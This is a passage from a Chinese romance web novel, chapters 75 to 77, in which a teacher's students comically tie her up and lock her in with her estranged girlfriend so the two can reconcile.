林筝墨忽然有种刑满释放的感觉,这半年来,她都困在一间潮湿封闭的监狱里,手脚都被捆绑着,直至今日,才有人打开大门,解开身上的链条,告诉她:你可以离开了。 她又试探道:“那我要和简越工作、说话、甚至我会继续爱她。” “你和我说这些做什么呢?”周京芳挪开视线,盯着木地板发呆,“反正以后也是你一个人住在这里,你的生活,大部分时间由你掌控,我和你爸爸根本管不到你。” 她非常隐晦地同意了。 却也不能算同意,应该是这半年来,交付给全家的一份报告——《关于周京芳女士自我和解的人生报告》。 有些话虽然没有明说,但足以让林筝墨感到意外了。 甚至在这瞬间,她理解了一切,理解了自己为什么逃跑,逃跑是释放空间,为自己创造喘息的空间,为她人挪出空间。她是爱周京芳的,也是爱简越的,当两种爱相撞的时候,她只能挡在中间。 从夏天等到冬天,等待一份释放报告。 她在等周京芳的改变。 在想,一直爱我的母亲,她应该会继续爱我吧,即使我们无数次坐在沙发上,肩膀不挨着肩膀,隔着一段距离,但我们的爱是在空气里流淌的,我确信,她是真的爱我的,那么,她一定会理解我的,总有一天她会以我喜爱的方式来爱我。 总说:父爱如山,这是屁话。 母爱如山,如海,是世界上无声却最坚韧,最柔软的东西。 林筝墨忽然觉得胸腔里一股热流翻涌,她学了那么多英语单词,做过那么多道翻译题,今天的考卷是: 要翻译周京芳的那句“我不会祝福你”。 ——「爱你,祝福你,愿你人生美好。」 林筝墨眼眶温热,千言万语咽下喉咙,她们都是不善言辞的人。 “那我后面回学校上班。” “这个找你爸。” “好。” 两人没有接着这个话题继续下去,这一点上,她们真的非常相似。 没过几分钟,林鸿拎着中餐回来,开门时小心翼翼的,发现林筝墨情绪还不错,他才阔步进来,乐呵呵道:“回来了回来了,吃饭了吃饭了。” “雪大吗?”林筝墨起身去接饭,他手里还提着一桶油。 “有点大。”林鸿搁下马桶油,朝林筝墨眨眨眼睛,那是一种询问。 林筝墨微微颔首。 他舒了口气,“那我联系一下沈校长,还是走正规流程,学校一直对你挺认可,回去应该不难。” 心中一块巨石落下,林筝墨依旧觉得不可思议,她看着周京芳的背影,不解的同时恍然大悟,原来这半年来努力成长的不止她一个人。 “对了墨墨。”林鸿忽然想起一事,“之前有人一直往家里打电话啊,是个女孩儿,不晓得哪里拿到我的电话号码的,她说她是你的学生。” “我的学生?” “她说她叫赵筱筱。”林鸿把自己手机摸出来给林筝墨看,“每周都打,先前我下楼又打了,我手上提着东西,没和她说两句,但她一直反复说啊,说如果哪天你回南城,一定要给她回个电话。” “啊筱筱。”林筝墨看着电话号码愣神。 “赵筱筱是你的学生吗?是的话我把号码发给你啊,你看你空了回复她一个。” 没想到一直被人记挂着,林筝墨心生愧疚,把电话复制下来,稍作犹豫,还是到阳台回电话去了。 电话只嘟了一声,赵筱筱便接了。 “喂?” “筱筱。” “林老师!!”对方嗓音忽然升高,难以抑制的雀跃:“林老师!你回来了吗?!” “嗯”林筝墨正寻思着怎么回复。 赵筱筱忽然大声说:“天呐你终于回电话了,你到哪里去了!!我们都伤心死了!!” “你们是谁。” “全班!!所有人!!” 林筝墨不觉得自己有这么大魅力,辞个职能让全班记挂,赵筱筱说话总是带点夸张的,所以其实也没当回事。但作为老师的,遇见这么喜欢自己的学生,实在是荣幸。 “那你现在在哪呢?”赵筱筱悄悄打探:“能见您一面吗?” “可以。”林筝墨想也没想应下来,“正好在南城,我请你吃顿饭吧。” “啊啊啊!好啊好啊,学校门口有家炸鸡店,可以吗?” “可以选点别的。”吃点好的吧。 “我就想吃炸鸡。” “那好。”林筝墨站在阳台,摸着栏杆上的雪,“看你晚上什么时候有空。” “六点,六点行吗?”赵筱筱激动得声音都在发抖,隔着空气都听见她嗓子里冒出的颤音。 “六点可以。” “那林老师,你先忙吧,有什么事情我们面对面再说,我妈不让我玩手机。” “好的。” 岂能想到,电话一挂,筱筱便迅速在3人群里摇人,怼着听筒说: 【全体全体,各就各位,各就各位!!】 钟涛:【干嘛,写数学呢,函数好难。】 沈礼萍:【发什么神经?】 赵筱筱:【那个女人回来了。】 沈礼萍:【!!!!】 钟涛:【真的?!!!】 赵筱筱:【保真,准备好绳子,可以绑人了。】 钟涛咔擦怕了张照片:【之前买的白色尼龙绳已就位。】 赵筱筱:【半年了!我是真的生气了!鞭打jpg.】 沈礼萍:【口嗨,你敢绑吗?】 赵筱筱狂发语音:“我这辈子就算做鬼也不会放过她的!她是我钦定的嫂子!她和我姐死了也要爱!!是姐妹就来帮我,这一次!一定不能让她再跑了!!!” 沈礼萍:【少看点小说吧,演戏呢你。】 林筝墨挂断电话还在站在阳台,观雪,忽然觉得一阵冷风吹来,莫名哆嗦了一下。 嘶。 这风好冷。 第75章 第七十五章 带你们拉坨大的 第七十五章 赵筱筱的好朋友都知道, 筱筱这人其实是有点神经质的。她那些乱七八糟的发言,一般人都不会当回事,但稍微了解她一点的都知道,如果把话说到这种地步, 那可能真的是要绑人了! 连绳子都买好了, 这绝对不是比喻词!! 下午六点, 赵筱筱准时出现在炸鸡店门口,见到了心心念念的林筝墨。虽然是大雪天, 但林筝墨出现在她面前那一刻, 筱筱的世界瞬间哗的明亮了。 想死。 人在就行。 “林老师,好久不见!”她朝林筝墨小跑过去,眼底流露着亢奋的情愫, 胳膊挽上胳膊,发现大衣下是一双纤瘦的胳膊,心揪了一下, “你怎么这么瘦了啊。” 林筝墨没回答这问题,“饿了吧, 吃点什么?” “都吃都吃都吃。”赵筱筱拉着林筝墨, 推开厚重的玻璃门, 目光稍斜,对着街对面的沈礼萍和钟涛释放信号。 天气冷, 这家店堂食的顾客很少, 只有一对母女在吃炸鸡。一个年轻人穿着工服靠在前台, 正在追脱口秀。听见开门声,那店员眼皮半掀,懒洋洋道:“你好,吃点什么?” 赵筱筱怼在菜单前, “麻辣翅根两个,鸡腿两个,薯条一份,可乐大杯。”她估摸着等会儿要干活儿,吃饱一点好了,“再来一个大汉堡!!” 林筝墨惊叹这家伙的食量,但转念一想,青春期的孩子吃得是多些,长身体也正常。 “够吗?不够继续点。” 赵筱筱眯眼笑,“那再来一个汉堡吧,我吃两个。” 林筝墨为自己点了份鸡米花,结账。俩人随意找了个角落坐下,林筝墨觉得就请筱筱吃几十块钱东西实在寒酸,在想等会儿要不要再带她吃点好的。 她甚至以为赵筱筱是为了省钱不好意思吃别的。 全然不是 今天吃什么,对赵筱筱来说根本不重要。 赵筱筱坐下,顺手将自己的书包放在凳子上,那里面放着一捆绳子。 真·绳子。 接着筱筱坐直身体,一双手撑着下巴,可怜巴巴看着林筝墨:“林老师,你这半年去哪了?” 就知道她要问这个。 “散心。”林筝墨说得比较含糊,她和简越之间的事是个秘密,筱筱作为简越的表妹,那更是要保密。 “哦~”赵筱筱若有所思,似懂非懂地点点头,“那那你之后还离开吗?” 林筝墨犹豫要不要和赵筱筱说,说打算回南城工作的事情,想着校长那边还没定下来,加上事情还没定下来,日后如果有变故怕是说早了,所以先不透露。 “我现在住在西城,之后要回去办事。” “办完之后呢?”赵筱筱满眼期待地看着她,“您有什么打算吗?” 就差掐着林筝墨的脖子让她回来教书了。 林筝墨将保守进行到底:“后面的事情,就后面再说了。” 赵筱筱叹息,林筝墨不会又要逃了吧。要真这样,就更想绑人了。 汉堡薯条送上来了,赵筱筱夹了两根,蘸着番茄酱送进嘴里,一边咀嚼着一边看林筝墨,在吃到第三根薯条的时候,忽然摸出兜里的手机,在群里发消息: 【她后面还得走。】 沈礼萍:【强扭的瓜不甜。】 钟涛:【我也是说。】 赵筱筱:【强制爱最甜,你们懂不懂。】 沈礼萍:【我不懂】 钟涛:【额,说实话你让我真的把林老师绑着,我不敢,另外,给咱们打包点薯条好吗?】 赵筱筱:【懦夫!不敢动手还吃薯条,毛条!!】 “好吃吗?”林筝墨问她。 赵筱筱放下手机,笑得那是相当含蓄:“嗯嗯,好吃。”小嘴儿简直抹了蜜:“对了林老师,我好想你啊,看到你我就好开心啊,你都不知道这半年来我多想你,英语课什么的,没有你也觉得少了点什么。” 那种语调和神态是无法伪装的,思念是真的,所以表现出来的感情就特别容易令人动容。 “我也挺舍不得你们的。” 大实话,林筝墨一直很负责,很受学生欢迎,如非必要,她根本不会辞职,属实是无奈之举。 “那你回来啊。”赵筱筱泛着泪光,“回来继续教我们,好不好嘛。” 林筝墨垂眸,话不说满了,“后面再说。” “再说,也就是有这个可能了?”赵筱筱的眼睛瞬间亮起来。 “不确定。”林筝墨迅速岔开这个话题,“你数学怎么样?成绩有提起来吗?” “好多了,沈礼萍一直在给我补课,加上我妈也催得紧,哦,我姐——”她故意提起简越,“我姐又很关注这些,分数不涨不行啊。” 果不其然,在听到简越之后,林筝墨表情有了极其微妙的变化,这种微妙被赵筱筱捕捉到。 那是听到喜欢的人才会有的表情吧。 “林老师,有件事我一直都想和你说。”赵筱筱抿了一下手指上的薯条碎屑,正襟危坐,准备开大招。 “你说。” “我其实都知道。”摊牌就在一瞬间。 “什么?”林筝墨眼皮忽然跳了一下,不确定地去看赵筱筱,眼里噙着困惑。 “其实,你和我姐,你们的关系,我都知道。” 恐怖故事!!! 林筝墨忽然感到一阵心悸,这个答案让她非常意外,可以说是猛烈撞击心脏的地步。 “你怎么会知道?那只有你知道吗?”林筝墨现在最关心这个。 “不,沈礼萍和钟涛也知道,但是,也只有我们三个知道。”赵筱筱说起简越来,“大概是十月份的时候,有一天我姐没有来上课,班主任让我们去看看,我叫了沈礼萍和钟涛。” “然后呢?” “我姐吃药了。”赵筱筱神情少有的严峻,“她是长期睡不着,吃多了安眠药,不是自残自杀的意思,据她所说,那天晚上不太舒服,迷迷糊糊吃得过量。” 啊。 林筝墨的心快碎了,什么东西在撕扯着她的筋和肉,内脏趋近四分五裂,真切感受到那种疼痛,呼吸也变得艰涩起来。 “我在我姐家里看到好多你的东西。”赵筱筱继续说:“你也知道,其实我姐是个生活很规律的人嘛。”说到这里,赵筱筱红了眼,“但那段时间她过得真的不好,很差很差,我们去她家的时候,地板上全是酒瓶,茶几上各种各样的药,她感冒啊,发烧啊,后来,她不舒服让我去照顾她,她第一件事都是让我喂好你的猫。” 林筝墨眼眶忽然泛酸,眼泪啪的一下掉下。 赵筱筱递给她一张纸,“林老师,说这些不是想让你愧疚,只是如果你心里还有我姐的话,就不要再逃避了。” “嗯。” “可能我只是一个小孩子吧,有时候我真的无能为力,虽然我是可以帮忙。” “你——”林筝墨哽咽着,又努力让自己情绪平复下来,“你可以怎样帮我。” 赵筱筱身子前倾,“我能帮的都会帮,只要你需要。” 事已至此,话都说到这个份上,似乎也没什么好隐瞒的。 “我确实不是一个很会处理问题的人。不过这次我打算继续回南中工作了,想和她一起,如果”林筝墨停顿一下,还是说:“如果可以让她回心转意,那就再好不过了。” 赵筱筱嘴角发抽,唇角止不住上扬,又狠狠压下,激昂道:“林老师,您早说啊!这事儿我熟啊,我能帮你啊林老师!!” 说得太笃定,觉得很有说服力。 “怎么帮” “别的不说,至少今天我能让你和她见上面。” 这话真说到林筝墨心坎去。现在的问题是,她连简越的面都见不上,要等到入职几乎是半个月后了,这期间根本制造不出半点机会来,那天简越已经说得非常决绝,后来添加好友也是被果断拒绝了。 如果赵筱筱能从中搭线,或许更有希望一些。 “但可能就是要委屈你一下了,林老师。” “是正经手段吗。”林筝墨怕小孩子闯祸:“是合理的方法吗?” “合理合理。”赵筱筱露出一种诡异的笑,“超级合理。” 话末,赵筱筱起身,拿起手机疯狂在群里发消息,霹雳啦啪地摁着九宫格,不知道她在发些什么。 “林老师,跟我走一趟。” “去哪?” “带你见我姐,放心吧,很体面的那种见面。”——呵呵。 “你不吃了吗?” 赵筱筱顺手一捞,把汉堡塞包里,“没事嘟,我打包就好,这个不重要。”言罢,带着林筝墨往炸鸡店外面走。 街边的雪还在下,天有些黑了,路灯晕开橘色的光,像一盏蒲公英。沈礼萍和钟涛就站在街对面,冻得跺脚,赵筱筱低头与他们发消息。 赵筱筱:【这次真的要绑,我不开玩笑。】 沈礼萍:【你到底要干嘛?】 钟涛:【鸡腿带了吗?】 赵筱筱:【我带你们直接拉坨大的,嘻嘻。】 末了,她切到另一个聊天框,是她和简越的,又发一条:【姐,我有个礼物送给你。】 过了一会儿,简越回复:【什么?】 赵筱筱:【你会喜欢的,亲亲jpg.】—— 作者有话说:提示:不要用正常人思维去想赵筱筱咋想的哈 她是个非常无厘头的人 第76章 第七十六章 真·捆绑 第七十六章 赵筱筱说带林筝墨去见简越, 这时林筝墨还没意识到会发生什么。 “林老师,我练习册正好在我姐那儿,我和她说我去拿,您就顺带和我一起, 没问题的。” 这算一个十分正当的理由, 但林筝墨觉得自己没有出现的必要。 “我和你一起会很奇怪。” “哎呀, 林老师,逻辑不重要, 机会都是创造出来的嘛。” 连一个十六岁的小孩都比自己豁得出去, 林筝墨仔细想也是,反正死马当活马医,迈出一步总比没迈好。 从汉堡店出来, 她俩一同过马路,过了斑马线正好“碰巧”遇见沈礼萍和钟涛。 赵筱筱顿下脚步,故作惊讶望向沈礼萍:“你们怎么在这里?” 沈礼萍也相当震惊地看着林筝墨, “林老师!你什么时候回来了?!” 钟涛傻乎乎感叹了一句,可满眼都是赵筱筱裤兜里的鸡腿, 演技略逊。鸡腿鸡腿, 大冷天出来不就图这一口吗? 林筝墨非常意外, 但没往深处想,寻思着大概率是巧合。又见赵筱筱把兜里的食物摸出来, 非常自然分给那俩人吃, 更不起疑心了。 “你和林老师去哪啊?”沈礼萍有备而来。 “去我姐那儿拿练习册。”赵筱筱与她演戏, “不然你陪我好了。” “喔。”钟涛咀嚼着,笑吟吟看着林筝墨,“林老师我们能和你一起去吗?” 林筝墨根本没有决定权,她看向赵筱筱, 这事由赵筱筱决定。 “行啊。”没想到赵筱筱自然应下,“你们写没有?等会儿借我抄一下。” “写了,抄呗。”钟涛耸耸肩。 赵筱筱不想浪费时间,一把抓着他俩,“走吧走吧。” 书包里的绳子 已经饥渴难耐了! 最终莫名其妙变成四人同路,实在诡异,但人多也好,至少林筝墨没那么紧张。 年轻人话真的很多,叽叽喳喳一人一句,问得林筝墨头昏脑胀,但那些稀碎的问题都耐着性子回答了。路程统共一公里,约莫行走二十来分钟,才到一单元楼下。 赵筱筱率先穿进楼道,加快步伐,领着大家一同上楼。爬楼梯爬得嘿嘿笑,回过头盯着林筝墨眼冒金光。 她给她打预防针:“林老师,等会儿你别紧张。” “我紧张什么?”林筝墨这时还没弄清状况,“我不紧张。” 不紧张,反而有点开心,她心里想着,多见简越一面也好。 赵筱筱不语,一味地往楼上爬,爬到六楼的时候忽然停下脚步,“等一下!” 众人跟着一脚刹车,林筝墨则先吓了一跳,“怎么了?” 赵筱筱不语,书包的肩带一滑,动作就是那么流畅——以及诡异。 林筝墨:“?”——她要干嘛? 赵筱筱疯狂对沈礼萍和钟涛挤眉弄眼,书包的拉链嘶溜一滑,顺手就将里面的绳子拿了出来。 何等惊悚。 林筝墨有种闯入贼窝的惊慌感。 不是巧合!不是巧合!不是巧合! 原来他们三个人商量好的! “林老师对不住了。”赵筱筱手里的绳子一抖,噼里啪啦甩开来,就要捆绑。 林筝墨刚想动,身后沈礼萍和钟涛压住林筝墨的肩膀,反手剪住她双肢,令她不能动弹。 “你们干嘛?”林筝墨倒不是觉得害怕,更多的是莫名其妙,一点摸不着头脑,“你们在干嘛?” 赵筱筱一绳子捆住她的双肢,绕地球一百圈,“捆你啊,绑你啊,惩罚你啊,你都不知道你走了我姐多伤心。” 真·捆绑。 林筝墨上半身被捆得动弹不得,有种莫名的喜感,其实脚还是能行走的,只是逃跑不是第一要务,毕竟学生不可能对她做出什么过分的事情来,主要还是迷惑,不管做什么事,总归还是有点儿理由吧? 赵筱筱这么做的理由是? “你想干嘛?” 赵筱筱打了个结,“捆好,把你带到我姐面前。” “为什么?” “她说的。” “她说的?”林筝墨自然是不信,简越怎么可能说出这样的话来,“筱筱,把我松开,等下好尴尬的。” 她都不敢想,她这样出现在简越面前,会是一幅怎样的画面,找个缝钻进去得了。 “不行哦不行哦,林老师”赵筱筱在结上又打了个死结,结中结,拉得死死的,“好了林老师,出发喽~” “啊——” 下一秒,林筝墨一声惊呼,怎么就被三个人抬起来了。 抬抬抬抬抬! 送命。 * 简越觉得赵筱筱真是越来越莫名其妙,本来自己心情就差,那家伙还故意打岔,拉了就跑。 【姐,我有个礼物送给你。】 【什么?】 【你会喜欢的,亲亲jpg.】 【是什么?别弄一些很猎奇的,你消停点。】 她们的聊天记录中止到这里了,赵筱筱之后便没回复。 按照简越对赵筱筱的了解,是的,她马上就要拉坨大的了,并且简越隐隐有种预感,这次筱筱拉的,是她根本兜不住的程度。 正愁。 咚咚咚咚—— 快速的敲门声。 简越放下手机,踱步去开门,走到玄关的时候,听见门外不止赵筱筱一个人的声音,心里忽然发怵,在猫眼看了一眼,发现赵筱筱眉头紧锁怼在猫眼面前。 “姐。” 简越将门打开,门隙开一条缝,把门往外推,推到一半的时候,视线里忽然凭空多出一个人来,还没等简越有所反应,下一秒,一个被绑得严严实实的人已经赵筱筱被推了进来。 忽然看清是林筝墨的脸,简越吓得汗毛竖立。 “赵筱筱你干什么!!” 赵筱筱管它三七二十一,张口就来:“是之前你自己说的,你说林老师要是再回来,你非绑着她不可!” 这分明只是一种比喻好吗谁会真的绑人呐!! 简越刚想发作,赵筱筱往后一缩,拉着门把手迅速撤退,下一秒门砰的一声合上了。 合上了。 合上了。 合上了 有种不管你要不要,反正人我给你拉过来了的强制爱,简越想开门去逮赵筱筱,一想到林筝墨被绑着,又生气又尴尬,这怎么开,当然是先解开绳子。 空气突然异常安静,两人站在玄关,空间又小,要说什么都显得非常突兀。 “你——”简越深吸一口气,侧目望向林筝墨,“怎么会这样?” 林筝墨看着她,但不说话。 要怎么解释? 说我其实是自愿被绑过来的?反正只要可以见到你,被绑一下也不是不可以。林筝墨承认自己是有小心思在里头,诚然,她若是真的不愿意,赵筱筱也完全不可能把她绑得过来。 “我”词穷了。 “算了我先给你松绑。”简越实在看不下去,成何体统,扶着林筝墨的肩膀,让她背过身去,这个姿势有点像警官检查嫌疑犯。 林筝墨背对她,简越费劲心思替她解开绳子,奈何赵筱筱打的结太死,徒手根本解不开。 尴尬 离谱 两人这个姿势本就奇怪,加上简越因为手上动作用力,开始哼哧哼哧,发出厚重的呼吸声,热气扑腾在林筝墨身后的头发上,明明也没到皮肤,但林筝墨的耳尖就是莫名泛红起来。 “天”简越眉头轻拧,“她打的结太紧了,我手指都插不进去。”???????? 两人忽然沉默。 林筝墨手腕被勒得泛红了,简越也没能解开。 “等等,我去拿剪刀。” “好。” 简越转身去工具箱里翻剪刀,途中脑袋里一直在想,赵筱筱真不是省油的灯,这一坨太大了。以她和林筝墨现在的关系,尴尬中的尴尬,又总归不能不管。 “我妹她脑子有病,回头我收拾她。”简越将剪刀卡在林筝墨后腰的绳子上,可绑得太紧了,竟然也不好剪开,“嘶,你忍一下。” “没事的。”林筝墨任由她摆布,替赵筱筱说话:“你也别怪她了,她也是好意” “好什么意。”简越眉头紧蹙,“这算什么,真的欠打。”说着觉得惭愧:“是我没教好她。” “没有没有。”林筝墨跟着愧疚起来,“我” 我自愿的。 我自愿的。 我就想被绑过来。 他们绑得越紧。 我越纵容他们。 因为我知道这样你就要花费很多时间替我解开。 然后我就可以和你说几句话了。 “我”林筝墨一整套脑回路把自己弄得害羞起来,脸颊的红晕蔓延到脖颈一带,她觉得自己也挺卑劣的,也不会让赵筱筱替她背锅,“你别怪她了,我也有问题。” 简越不语,只是一味地找空间,终于在手腕找到一点缝隙,用剪刀慢慢剪开。 动作很轻柔,刀口磨蹭了好久,绳子终于截断了。 见林筝墨白净的手腕勒得泛红,下意识捏着她的手说:“痛不痛?” 几乎在肢体接触那瞬间,两人对视的眼神挪开。 她们曾经那么亲密,也相当沉迷这种亲密,半年时间,肌肤接触少之又少,所以这样简单的触碰也会勾起相当多的回忆,时间会放大这种感觉,手指与皮肤之间泛起海浪,荡漾在身体里,心尖上,林筝墨觉得自己快被欲望淹没了。 简越表情微僵,觉得不合适,瞬间松开手,“你,你稍微活动一下手腕,看有没有问题。” “嗯。”她转过身,平静而贪婪地看着简越,又在对方眼神投过来时迅速收回,“我——”她低头看地板,寻找着借口:“还好。” “嗯,我给你倒杯水。” 林筝墨规规矩矩站在原地,不语,等简越回过头来递给她一杯水,忽然心情雀跃到顶峰。 简越倒水是用的自己的马克杯。 林筝墨捧过杯子,唇角有微不可察的弧度,缓缓将嘴唇贴在杯沿,似乎品尝简越的香味,慢条斯理地抿了一口。是半年来喝过最甘甜的水。 开心。 简越看着林筝墨,好几秒后才反应过来自己没换杯子。 忘了。 很习惯。 以前都是共用的。 眼神开始乱飘,不自在,却没有让林筝墨进屋坐坐的意思。 林筝墨故意放慢了喝水的速度,小口小口啜。 两人之间安静得可怕。 林筝墨喝了一半,将水杯还给对方,“谢谢。” “不客气,赵筱筱她——” “没事,我们不谈这个了。”林筝墨打断她,安抚道:“其实我很开心。” “开心什么。”简越依旧没什么表情,却有点明知故问的意思。 林筝墨直勾勾看着简越,眼里闪烁着光芒,“开心见到你。” “你快回去吧。”简越没有看她,也没直面这个话题。 “好。”林筝墨觉得能见一面已是万幸,临走前还是想报备一下:“我后面回学校上班。” 简越心脏快速跳动了一下,面色无恙道:“是你的事。” “好友申请可以通过吗?” “不行。”简越脸色微僵,“没有可能。” 林筝墨虽有心理准备,却还是忍不住失落起来,可转念一想,简越受了这么多委屈,自己遭受这点又算什么。 “那我走了。”暂时不纠缠,林筝墨不想当讨人嫌的前任。 她转身去开门,手扶在门把手上,向下一压,推却推不开,如此反复几次,发现门外好像被动了手脚。 “我打不开。” “不会吧。”简越接手推了几次发现确实不行,其实这门也不是纹丝不动,就是怎么也推不开,好不容易熄灭的怒火再次燃烧起来,“赵筱筱!!” 她怎么个事!这点智商用在学习上,不考个北大真的对不起她的脑子! “不是,她怎么锁的啊?”连简越都费解,“这” 林筝墨很努力想压下嘴角,怎么也压不下去,却还要故作紧张:“怎么办” 简越气得够呛:“我给她打个电话,马上。” 第77章 第七十七章 拥抱、试探、慰藉…… 第七十七章 由于门怎么都推不开, 简越便和赵筱筱打电话,秒接。 “喂,姐。” “门怎么打不开?” “因为我们在外头堵着啊。” “……”简越真的想打人,不, 是剁人, 把赵筱筱剁成小碎肉。 赵筱筱一边说话一边抵着门, 旁边沈礼萍和钟涛还在死死摁门,她示意他们可以暂时松开休息了。 “你告诉我, 你到底想干嘛?” “我想你们待在一起。” “赵筱筱, 你作业还是太少了。” 赵筱筱才不管,发出嘿嘿的笑声,“所以见到林老师, 你开心吗?” 要不是林筝墨在这里,简越真的想当场一脚把门踹开,直接把赵筱筱踹到对面大门里去焊着, 看她还嘿嘿不嘿嘿。 “忘了上一次被打什么感觉是吧?” “对,我欠打, 之后你随便打我吧, 我已经做好准备了。” 筱筱大女人岂在意这点皮肉之苦, 林筝墨和简越共处一室的时候,她有种强烈的兴奋感, 在此之前还未发现自己竟然如此变l态。 总之, 要杀要剐尽管来, 现在是油盐不进了。 这种一拳打在棉花上的感觉实在窝火,但简越又不能发作,门外都是她的学生,总不能真的一脚踹飞三人吧。 “你们把门打开。”算是克制着冷静在说:“让林老师先走。” “我不。”赵筱筱也是相当之倔:“你真没劲!盼着人家回来, 人都给你绑过来了,你现在说你不要,女人怎么可以欲拒还迎成这样!” 赵筱筱真是一个大喇叭,她要是再大声点,外面的声音都传进来了。 简越庆幸没开免提,不然林筝墨听到的话,显得她还多爱她多忘不了她似的。 电话里还在继续叭叭:“你就不想和林老师多待一会儿吗?你们就不能聊聊天吗?” 想聊天。 但也不想。 “求你了~”赵筱筱硬的不行来软的,继续施法:“你们就待一会儿嘛~外面雪那么大,回去得多冷啊,我们可是走了好久的路才过来找你的,结果你就知道赶人,讨厌死了!” 简越:“” 好话坏话都让她说尽,她还先发制人上了。 话锋一转:“好了姐,我就当你同意了,你先消消气,和林老师解决一下问题,至于我,明天晚上我准时过来挨打!” 好有自知之明好自觉的变态啊。 简越无心再掰扯下去,嘟的一声挂了电话。试着又去开了一下门,果然门外迅速响起一阵骚动,必然是打不开。 罢了。 和这群无聊孩子拼体力,简直是自讨苦吃。 “门暂时开不了,你坐会儿吧。”简越发起投降,回过头对林筝墨说:“还喝水吗?” 林筝墨在一旁全程缄默,见简越终于松了口,舒了口气,暗自心里感谢赵筱筱,择日一定送份大礼,感激不尽。 “喝,就喝白开水。” “嗯,那你坐。” 获得通行证,林筝墨才开始换鞋,她的拖鞋就摆放在鞋柜里,很干净,看样子简越中途还洗过。 脱鞋,脚趾钻进拖鞋里,毛绒绒的温暖包裹着她,暖在心间。 她朝沙发走去,那分明只是一张普通的沙发,坐下的时候,久违的熟悉与归属感包裹着她的身体,这种感觉,只有待在这里才会有。 简越在饮水机接了杯温开水,放在茶几上,对林筝墨说:“你自己打发一下时间,等他们走了之后,你就可以走了。” “他们?” “嗯,他们现在在门口,所以我们打不开门。” “喔。”林筝墨忍不住问她:“那你呢?” “我到房间里休息一会儿。”简越毫不掩饰,看起来不想和林筝墨待在一起。 她的客气和冷静都让人无比煎熬。 林筝墨其实想和简越聊聊天,或者即使什么都不说,能够共同坐在这张沙发上也好,可她也没有办法,她无法左右简越的想法。 但她理解,完全理解,她不可能强迫她。 要克制住自己的欲望,林筝墨再三告诫自己,罗马不是一天建成,让爱人回心转意也不是。 “好,你休息吧。” 简越颔首,折身朝房间走去,顺手还关上了门。 客厅只剩林筝墨一人。她没说话,在静静感受这个环境带给她的感觉,像是冷了的开水忽然又回了温,她的身体往后仰,忽然发出一声喟叹 不说话也可以。 是回家的感觉。 躺一躺。 * 门外。 赵筱筱耳朵贴在门上,撅着屁l股侧耳聆听。 “听见了吗?”沈礼萍压着声音问她。 “没有。”赵筱筱耳朵从门上挪开,“她们可能在干别的事情了。” 聊天? 亲吻? 还是互摸…… “你表情好奇怪。”沈礼萍凝视着赵筱筱,觉得她傻笑的样子特别蠢,“你在想啥呢?” 钟涛搭腔:“那必然是我们不能理解的。”他松手,胳膊都撑得酸麻,“那咱们走了吧?” “走吧走吧。”赵筱筱带头往前走,下楼开始蹦跶蹦跶,没走几步回过头看沈礼萍,“我是不是特别棒?” 棒。 当头一棒吧。 沈礼萍牵动嘴角,“呃,嗯,你开心就好。” 赵筱筱唇角噙着笑,两步又走上来,主动去挽沈礼萍的胳膊,低声说:“晚上去我家写作业?” 钟涛探头:“我呢?” 赵筱筱:“你把作业留给我抄,然后你就可以回家了。” 钟涛:“妈的。” 赵筱筱:“你要是再说妈的,以后就别和我们玩了,骂人不骂妈。” 钟涛:“爹的!” 沈礼萍直笑,她很喜欢看赵筱筱训人,在她眼里赵筱筱实在最可爱,他们仨关系一直不错,氛围总是轻松愉悦的。 “对了,你今晚就住我家嘛。”赵筱筱拉着沈礼萍的手晃来晃去,“我的被窝很暖和的,一个人睡都没人唠嗑,你好久好久都没陪我讲话了,每次钟涛都在!” 钟涛:“?” 沈礼萍感受着赵筱筱掌心的温度,目光飘到很远的地方,在遥远的隐秘的世界里,有些东西很早以前就已经发酵。 她喜欢她。 以朋友的身份,早于姜羽之前。 她的喜欢不是普通的喜欢,她的喜欢是:我愿意以任何身份待在你身边,渴望的是你快乐,你快乐就是我快乐,并不奢望什么。 “好啊。”沈礼萍几乎没有任何犹豫答应了,“那你给我一件T恤穿。” 赵筱筱乐不可支:“给你给你都给你,宝宝宝宝你是我最好的朋友!” 手臂黏得更紧了,少女的发丝缠绕在一起,是懵懂无知与青涩萌芽的交融。沈礼萍的视线穿过楼道的缝隙,看见外面的天空,雪还在下。 沈礼萍的心跳很快。 忽然很喜欢冬天。 喜欢每一个被邀请的夜晚 * 林筝墨迷迷糊糊从睡梦中醒来,发现自己在沙发上睡着了,看了眼时间,快十点半了。 睡了好久。 身上搭了厚毯子,总归不是泡泡替她盖的。林筝墨心头一暖,捏着毯子一角,下巴往里一缩,鼻尖轻蹭着毛毯,熟悉的气味在鼻尖蔓延开来。她伸开双手,侧过身抱住毯子,仿佛抱了简越一般。如此温存了一会儿,才慢慢清醒过来。 卫生间一直有动静,是简越在洗漱。 林筝墨从沙发上起身,静静坐着发呆。 不多时,简越从里面出来。 “醒了?” “嗯。”林筝墨揉揉头发,柔软的毛毯一圈一圈塌在她的腰间,慵懒又呆气,“我摸会儿小猫就回家。” 她慢慢起身,走到泡泡面前抓小猫背后的软毛,一边摸,一边嘟哝咕噜地与猫对话。 不知道她在说什么,但腔调有种说不出的可爱。 简越目光朝林筝墨身上一斜,唇角不自觉有弧度,可忽然想起什么,笑意冻在唇边,又不再去看她。 “想它的话,你可以把它带回你公寓,我都可以。” 林筝墨的手停在半空,“不带回去了,就让它在这里。” 猫都带回家,以后以什么借口过来找你。 “都可以。” 林筝墨起身,不打算久留,“有点晚了,那我走了。” 简越站在原地纹丝不动,内心不停告诫自己:不要送!不要送!不要送,重要的事情说三遍。 下一秒嘴巴开始溜冰:“我送你吧。” 掌嘴! 死嘴! 林筝墨愣了一下,生怕简越后悔,迅速应下:“好。” 简越捎上钥匙,有些多余的解释:“只是觉得太晚了。” 林筝墨眼里闪着星光,弯唇笑,“嗯,我知道,谢谢你了。” 不语,换鞋,一同下楼,全程没有交流。林筝墨习惯走在后面,因为这样就可以看简越的背影。 她觉得,简越在的时候,冬天是一幅优美绚丽的水彩画,楼道被粉饰得很有记忆点,连空气也变得和鼻腔更加搭调。 而没有简越的冬天,是绕地球一百圈也温暖不了脖颈的围巾,是踩在雪地里孤寂的脚印,是乏味空茫的天空。 “雪好大。”她们站在一楼的廊道里,抬头看迅猛坠落的白雪。 冬夜变得新鲜而明艳,甚至有点浪漫。林筝墨心想,如果没有分手的话,她和简越可以下来堆雪人,或者什么也不做,待在家里看雪,两个人是快乐,一个人就有点儿孤独了。 林筝墨深吸一口气,脸颊苍白而美丽,她忽然恢复了力气,感知季节的力气。 